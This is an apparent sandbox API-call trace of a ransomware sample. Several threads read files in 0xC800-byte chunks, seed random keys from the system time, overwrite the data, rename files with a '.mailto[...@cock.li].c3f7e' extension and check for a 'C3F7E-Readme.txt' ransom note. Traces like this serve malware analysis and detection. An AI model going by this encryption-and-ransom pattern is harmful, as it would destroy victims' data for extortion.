	[0076.482] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e2a8f8) returned 1
	[0076.482] NtQueryInformationFile (in: FileHandle=0x664, IoStatusBlock=0x628f888, FileInformation=0x628f860, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x628f888, FileInformation=0x628f860) returned 0x0
	[0076.482] NtSetInformationFile (FileHandle=0x664, IoStatusBlock=0x628f888, FileInformation=0x628f860, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0076.483] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d788e0) returned 1
	[0076.483] FlushFileBuffers (hFile=0x664) returned 1
	[0076.485] CloseHandle (hObject=0x664) returned 1
	[0076.486] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x50) returned 0x2d858c0
	[0076.486] wcscpy (in: _Dest=0x2d858c0, _Source="C:\\588bce7c90097ed212\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0076.486] wcscat (in: _Dest=0x2d858c0, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\C3F7E-Readme.txt") returned="C:\\588bce7c90097ed212\\C3F7E-Readme.txt"
	[0076.486] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\c3f7e-readme.txt")) returned 0x20
	[0076.486] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d858c0) returned 1
	[0076.486] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5a460) returned 1

Thread:
	id = 73
	os_tid = 0x1308

	[0073.521] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz")) returned 0x20
	[0073.541] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz", dwFileAttributes=0x20) returned 1
	[0073.541] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x668
	[0073.541] GetFileSizeEx (in: hFile=0x668, lpFileSize=0x630f9b8 | out: lpFileSize=0x630f9b8*=43131591) returned 1
	[0073.541] SetFilePointerEx (in: hFile=0x668, liDistanceToMove=0x29222c3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0073.541] ReadFile (in: hFile=0x668, lpBuffer=0x630f93c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x630f938, lpOverlapped=0x0 | out: lpBuffer=0x630f93c*, lpNumberOfBytesRead=0x630f938*=0x4, lpOverlapped=0x0) returned 1
	[0073.543] SetFilePointerEx (in: hFile=0x668, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0073.543] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77358
	[0073.543] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d772e0
	[0073.543] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77268
	[0073.543] NtQuerySystemTime (in: CurrentTime=0x630f918 | out: CurrentTime=0x630f918*=132251868002758981) returned 0x0
	[0073.543] RtlRandom (in: Seed=0x630f924 | out: Seed=0x630f924) returned 0x9aea1725
	[0073.543] RtlRandom (in: Seed=0x630f924 | out: Seed=0x630f924) returned 0xab9fda8c
	[0073.543] RtlRandom (in: Seed=0x630f924 | out: Seed=0x630f924) returned 0x977fb212
	[0073.543] RtlRandom (in: Seed=0x630f924 | out: Seed=0x630f924) returned 0xd38546dd
	[0073.543] RtlRandom (in: Seed=0x630f924 | out: Seed=0x630f924) returned 0xa8f907f4
	[0073.543] RtlRandom (in: Seed=0x630f924 | out: Seed=0x630f924) returned 0x7690c6e2
	[0073.543] RtlRandom (in: Seed=0x630f924 | out: Seed=0x630f924) returned 0x18664da
	[0073.543] RtlRandom (in: Seed=0x630f924 | out: Seed=0x630f924) returned 0xc35663ee
	[0073.543] RtlRandom (in: Seed=0x630f924 | out: Seed=0x630f924) returned 0x58d9ce36
	[0073.543] RtlRandom (in: Seed=0x630f924 | out: Seed=0x630f924) returned 0xf7354515
	[0073.543] RtlRandom (in: Seed=0x630f924 | out: Seed=0x630f924) returned 0x799d003a
	[0073.543] RtlRandom (in: Seed=0x630f924 | out: Seed=0x630f924) returned 0x72e7b487
	[0073.543] RtlRandom (in: Seed=0x630f924 | out: Seed=0x630f924) returned 0x359ef196
	[0073.543] RtlRandom (in: Seed=0x630f924 | out: Seed=0x630f924) returned 0x31e7132e
	[0073.543] RtlRandom (in: Seed=0x630f924 | out: Seed=0x630f924) returned 0x78fd61ac
	[0073.543] RtlRandom (in: Seed=0x630f924 | out: Seed=0x630f924) returned 0x849045f5
	[0073.543] RtlRandom (in: Seed=0x630f924 | out: Seed=0x630f924) returned 0x44f4b047
	[0073.543] RtlRandom (in: Seed=0x630f924 | out: Seed=0x630f924) returned 0x70feace3
	[0073.543] RtlRandom (in: Seed=0x630f924 | out: Seed=0x630f924) returned 0xe73c3167
	[0073.543] RtlRandom (in: Seed=0x630f924 | out: Seed=0x630f924) returned 0xf9c128da
	[0073.543] RtlRandom (in: Seed=0x630f924 | out: Seed=0x630f924) returned 0xda371244
	[0073.543] RtlRandom (in: Seed=0x630f924 | out: Seed=0x630f924) returned 0x4a150e99
	[0073.543] RtlRandom (in: Seed=0x630f924 | out: Seed=0x630f924) returned 0x1d22e061
	[0073.543] RtlRandom (in: Seed=0x630f924 | out: Seed=0x630f924) returned 0xf9617da2
	[0073.543] RtlRandom (in: Seed=0x630f924 | out: Seed=0x630f924) returned 0x8ef0db23
	[0073.543] RtlRandom (in: Seed=0x630f924 | out: Seed=0x630f924) returned 0xbf97e31
	[0073.543] RtlRandom (in: Seed=0x630f924 | out: Seed=0x630f924) returned 0x74608c3b
	[0073.543] RtlRandom (in: Seed=0x630f924 | out: Seed=0x630f924) returned 0x631270b4
	[0073.543] RtlRandom (in: Seed=0x630f924 | out: Seed=0x630f924) returned 0xdb69a5c
	[0073.544] RtlRandom (in: Seed=0x630f924 | out: Seed=0x630f924) returned 0xf73ceabb
	[0073.544] RtlRandom (in: Seed=0x630f924 | out: Seed=0x630f924) returned 0xa9ffaa
	[0073.544] RtlRandom (in: Seed=0x630f924 | out: Seed=0x630f924) returned 0xa538285f
	[0073.553] SetFilePointerEx (in: hFile=0x668, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0073.553] ReadFile (in: hFile=0x668, lpBuffer=0x4690048, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x630f8d0, lpOverlapped=0x0 | out: lpBuffer=0x4690048*, lpNumberOfBytesRead=0x630f8d0*=0xc800, lpOverlapped=0x0) returned 1
	[0073.555] SetFilePointerEx (in: hFile=0x668, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0073.555] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d73030
	[0073.555] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4733280
	[0073.555] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77358
	[0073.555] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77358) returned 1
	[0073.556] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x469c850
	[0073.557] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77448
	[0073.557] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d773f8
	[0073.557] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d773f8) returned 1
	[0073.557] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4733280) returned 1
	[0073.557] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73030) returned 1
	[0073.557] WriteFile (in: hFile=0x668, lpBuffer=0x469c850*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x630f8d0, lpOverlapped=0x0 | out: lpBuffer=0x469c850*, lpNumberOfBytesWritten=0x630f8d0*=0xc800, lpOverlapped=0x0) returned 1
	[0076.484] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x469c850) returned 1
	[0076.484] SetFilePointerEx (in: hFile=0x668, liDistanceToMove=0x149b000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.484] ReadFile (in: hFile=0x668, lpBuffer=0x4690048, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x630f8d0, lpOverlapped=0x0 | out: lpBuffer=0x4690048*, lpNumberOfBytesRead=0x630f8d0*=0xc800, lpOverlapped=0x0) returned 1
	[0076.487] SetFilePointerEx (in: hFile=0x668, liDistanceToMove=0x149b000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.487] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d73738
	[0076.487] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e03fa0
	[0076.487] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34500
	[0076.487] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34500) returned 1
	[0076.488] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x469c850
	[0076.489] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e346b8
	[0076.489] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34780
	[0076.489] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34780) returned 1
	[0076.489] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e03fa0) returned 1
	[0076.489] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73738) returned 1
	[0076.489] WriteFile (in: hFile=0x668, lpBuffer=0x469c850*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x630f8d0, lpOverlapped=0x0 | out: lpBuffer=0x469c850*, lpNumberOfBytesWritten=0x630f8d0*=0xc800, lpOverlapped=0x0) returned 1
	[0076.497] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x469c850) returned 1
	[0076.497] SetFilePointerEx (in: hFile=0x668, liDistanceToMove=0x2915ac7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.497] ReadFile (in: hFile=0x668, lpBuffer=0x4690048, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x630f8d0, lpOverlapped=0x0 | out: lpBuffer=0x4690048*, lpNumberOfBytesRead=0x630f8d0*=0xc800, lpOverlapped=0x0) returned 1
	[0076.498] SetFilePointerEx (in: hFile=0x668, liDistanceToMove=0x2915ac7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.498] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d73738
	[0076.498] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e042e8
	[0076.498] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34668
	[0076.498] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34668) returned 1
	[0076.499] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x469c850
	[0076.500] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34640
	[0076.500] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34550
	[0076.500] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34550) returned 1
	[0076.500] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e042e8) returned 1
	[0076.500] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73738) returned 1
	[0076.500] WriteFile (in: hFile=0x668, lpBuffer=0x469c850*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x630f8d0, lpOverlapped=0x0 | out: lpBuffer=0x469c850*, lpNumberOfBytesWritten=0x630f8d0*=0xc800, lpOverlapped=0x0) returned 1
	[0078.246] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x469c850) returned 1
	[0078.246] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x47803d0
	[0078.246] SetFilePointerEx (in: hFile=0x668, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0078.246] WriteFile (in: hFile=0x668, lpBuffer=0x2d89690*, nNumberOfBytesToWrite=0x155, lpNumberOfBytesWritten=0x630f978, lpOverlapped=0x0 | out: lpBuffer=0x2d89690*, lpNumberOfBytesWritten=0x630f978*=0x155, lpOverlapped=0x0) returned 1
	[0078.247] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89690) returned 1
	[0078.247] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dacdf8) returned 1
	[0078.248] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34640) returned 1
	[0078.248] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daccf8) returned 1
	[0078.248] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47803d0) returned 1
	[0078.248] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d772e0) returned 1
	[0078.248] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77380) returned 1
	[0078.248] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d773d0) returned 1
	[0078.248] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x98) returned 0x2e2afd8
	[0078.248] wcscpy (in: _Dest=0x2e2afd8, _Source="C:\\588bce7c90097ed212\\netfx_Extended.mzz" | out: _Dest="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned="C:\\588bce7c90097ed212\\netfx_Extended.mzz"
	[0078.248] wcscat (in: _Dest=0x2e2afd8, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\588bce7c90097ed212\\netfx_Extended.mzz.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\588bce7c90097ed212\\netfx_Extended.mzz.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0078.248] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\588bce7c90097ed212\\netfx_Extended.mzz.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x630f930, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\588bce7c90097ed212\\netfx_Extended.mzz.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0078.248] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xae) returned 0x2ddba40
	[0078.357] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2ddba40) returned 1
	[0078.357] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4986278) returned 1
	[0078.357] NtQueryInformationFile (in: FileHandle=0x668, IoStatusBlock=0x630f93c, FileInformation=0x630f914, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x630f93c, FileInformation=0x630f914) returned 0x0
	[0078.357] NtSetInformationFile (FileHandle=0x668, IoStatusBlock=0x630f93c, FileInformation=0x630f914, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0078.358] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e2afd8) returned 1
	[0078.358] FlushFileBuffers (hFile=0x668) returned 1
	[0080.047] CloseHandle (hObject=0x668) returned 1
	[0080.163] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x50) returned 0x2dac160
	[0080.163] wcscpy (in: _Dest=0x2dac160, _Source="C:\\588bce7c90097ed212\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0080.163] wcscat (in: _Dest=0x2dac160, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\C3F7E-Readme.txt") returned="C:\\588bce7c90097ed212\\C3F7E-Readme.txt"
	[0080.163] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\c3f7e-readme.txt")) returned 0x20
	[0080.164] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dac160) returned 1
	[0080.164] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77780) returned 1

Thread:
	id = 74
	os_tid = 0x1364

	[0073.554] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml")) returned 0x80
	[0073.559] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml", dwFileAttributes=0x20) returned 1
	[0073.559] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x66c
	[0073.559] GetFileSizeEx (in: hFile=0x66c, lpFileSize=0x638fea0 | out: lpFileSize=0x638fea0*=272046) returned 1
	[0073.559] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x426aa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0073.559] ReadFile (in: hFile=0x66c, lpBuffer=0x638fe24, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x638fe20, lpOverlapped=0x0 | out: lpBuffer=0x638fe24*, lpNumberOfBytesRead=0x638fe20*=0x4, lpOverlapped=0x0) returned 1
	[0073.561] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0073.561] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77268
	[0073.561] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77358
	[0073.561] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d773a8
	[0073.561] NtQuerySystemTime (in: CurrentTime=0x638fe00 | out: CurrentTime=0x638fe00*=132251868002915267) returned 0x0
	[0073.561] RtlRandom (in: Seed=0x638fe0c | out: Seed=0x638fe0c) returned 0xf5078753
	[0073.561] RtlRandom (in: Seed=0x638fe0c | out: Seed=0x638fe0c) returned 0x2130b10a
	[0073.561] RtlRandom (in: Seed=0x638fe0c | out: Seed=0x638fe0c) returned 0x7b589677
	[0073.561] RtlRandom (in: Seed=0x638fe0c | out: Seed=0x638fe0c) returned 0xefb7c5da
	[0073.561] RtlRandom (in: Seed=0x638fe0c | out: Seed=0x638fe0c) returned 0x101f82aa
	[0073.561] RtlRandom (in: Seed=0x638fe0c | out: Seed=0x638fe0c) returned 0x99d0a857
	[0073.561] RtlRandom (in: Seed=0x638fe0c | out: Seed=0x638fe0c) returned 0x7b790a91
	[0073.561] RtlRandom (in: Seed=0x638fe0c | out: Seed=0x638fe0c) returned 0x56e1e73b
	[0073.561] RtlRandom (in: Seed=0x638fe0c | out: Seed=0x638fe0c) returned 0xcd6c4367
	[0073.561] RtlRandom (in: Seed=0x638fe0c | out: Seed=0x638fe0c) returned 0x5f7f0123
	[0073.561] RtlRandom (in: Seed=0x638fe0c | out: Seed=0x638fe0c) returned 0xf73bea60
	[0073.561] RtlRandom (in: Seed=0x638fe0c | out: Seed=0x638fe0c) returned 0xe1d21738
	[0073.561] RtlRandom (in: Seed=0x638fe0c | out: Seed=0x638fe0c) returned 0xb3416589
	[0073.562] RtlRandom (in: Seed=0x638fe0c | out: Seed=0x638fe0c) returned 0xa200cd40
	[0073.562] RtlRandom (in: Seed=0x638fe0c | out: Seed=0x638fe0c) returned 0x8ce0b9e0
	[0073.562] RtlRandom (in: Seed=0x638fe0c | out: Seed=0x638fe0c) returned 0x72afc681
	[0073.562] RtlRandom (in: Seed=0x638fe0c | out: Seed=0x638fe0c) returned 0x88d1bc
	[0073.562] RtlRandom (in: Seed=0x638fe0c | out: Seed=0x638fe0c) returned 0x3760b2ba
	[0073.562] RtlRandom (in: Seed=0x638fe0c | out: Seed=0x638fe0c) returned 0x99c364e
	[0073.562] RtlRandom (in: Seed=0x638fe0c | out: Seed=0x638fe0c) returned 0x84088628
	[0073.562] RtlRandom (in: Seed=0x638fe0c | out: Seed=0x638fe0c) returned 0x277a45ed
	[0073.562] RtlRandom (in: Seed=0x638fe0c | out: Seed=0x638fe0c) returned 0x380fe390
	[0073.562] RtlRandom (in: Seed=0x638fe0c | out: Seed=0x638fe0c) returned 0x42c18c8d
	[0073.562] RtlRandom (in: Seed=0x638fe0c | out: Seed=0x638fe0c) returned 0xacc1460c
	[0073.562] RtlRandom (in: Seed=0x638fe0c | out: Seed=0x638fe0c) returned 0x266a7b0
	[0073.562] RtlRandom (in: Seed=0x638fe0c | out: Seed=0x638fe0c) returned 0xd2cb3153
	[0073.562] RtlRandom (in: Seed=0x638fe0c | out: Seed=0x638fe0c) returned 0x6df74c9e
	[0073.562] RtlRandom (in: Seed=0x638fe0c | out: Seed=0x638fe0c) returned 0xeb7e1eea
	[0073.562] RtlRandom (in: Seed=0x638fe0c | out: Seed=0x638fe0c) returned 0xace47672
	[0073.562] RtlRandom (in: Seed=0x638fe0c | out: Seed=0x638fe0c) returned 0x471a5257
	[0073.562] RtlRandom (in: Seed=0x638fe0c | out: Seed=0x638fe0c) returned 0x4f0b4944
	[0073.562] RtlRandom (in: Seed=0x638fe0c | out: Seed=0x638fe0c) returned 0xe4e33f48
	[0073.571] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0073.571] ReadFile (in: hFile=0x66c, lpBuffer=0x46a9058, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x638fdb8, lpOverlapped=0x0 | out: lpBuffer=0x46a9058*, lpNumberOfBytesRead=0x638fdb8*=0xc800, lpOverlapped=0x0) returned 1
	[0073.572] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0073.572] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d733d8
	[0073.572] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x47330a0
	[0073.572] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77470
	[0073.572] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77470) returned 1
	[0073.573] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x46b5860
	[0073.574] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d773a8
	[0073.574] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77470
	[0073.574] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77470) returned 1
	[0073.574] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47330a0) returned 1
	[0073.574] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d733d8) returned 1
	[0073.574] WriteFile (in: hFile=0x66c, lpBuffer=0x46b5860*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x638fdb8, lpOverlapped=0x0 | out: lpBuffer=0x46b5860*, lpNumberOfBytesWritten=0x638fdb8*=0xc800, lpOverlapped=0x0) returned 1
	[0073.576] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x46b5860) returned 1
	[0073.581] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x25800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0073.581] ReadFile (in: hFile=0x66c, lpBuffer=0x46a9058, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x638fdb8, lpOverlapped=0x0 | out: lpBuffer=0x46a9058*, lpNumberOfBytesRead=0x638fdb8*=0xc800, lpOverlapped=0x0) returned 1
	[0073.582] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x25800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0073.582] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d73780
	[0073.582] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4732c68
	[0073.582] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77470
	[0073.582] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77470) returned 1
	[0073.583] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x46b5860
	[0073.585] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77268
	[0073.585] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77470
	[0073.585] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77470) returned 1
	[0073.585] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4732c68) returned 1
	[0073.585] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73780) returned 1
	[0073.585] WriteFile (in: hFile=0x66c, lpBuffer=0x46b5860*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x638fdb8, lpOverlapped=0x0 | out: lpBuffer=0x46b5860*, lpNumberOfBytesWritten=0x638fdb8*=0xc800, lpOverlapped=0x0) returned 1
	[0073.587] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x46b5860) returned 1
	[0073.588] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x35eae, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0073.588] ReadFile (in: hFile=0x66c, lpBuffer=0x46a9058, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x638fdb8, lpOverlapped=0x0 | out: lpBuffer=0x46a9058*, lpNumberOfBytesRead=0x638fdb8*=0xc800, lpOverlapped=0x0) returned 1
	[0073.600] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x35eae, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0073.600] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d733d8
	[0073.600] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4732e48
	[0073.600] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77470
	[0073.600] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77470) returned 1
	[0073.601] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x46ce870
	[0073.602] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77470
	[0073.602] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d774c0
	[0073.602] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d774c0) returned 1
	[0073.602] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4732e48) returned 1
	[0073.602] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d733d8) returned 1
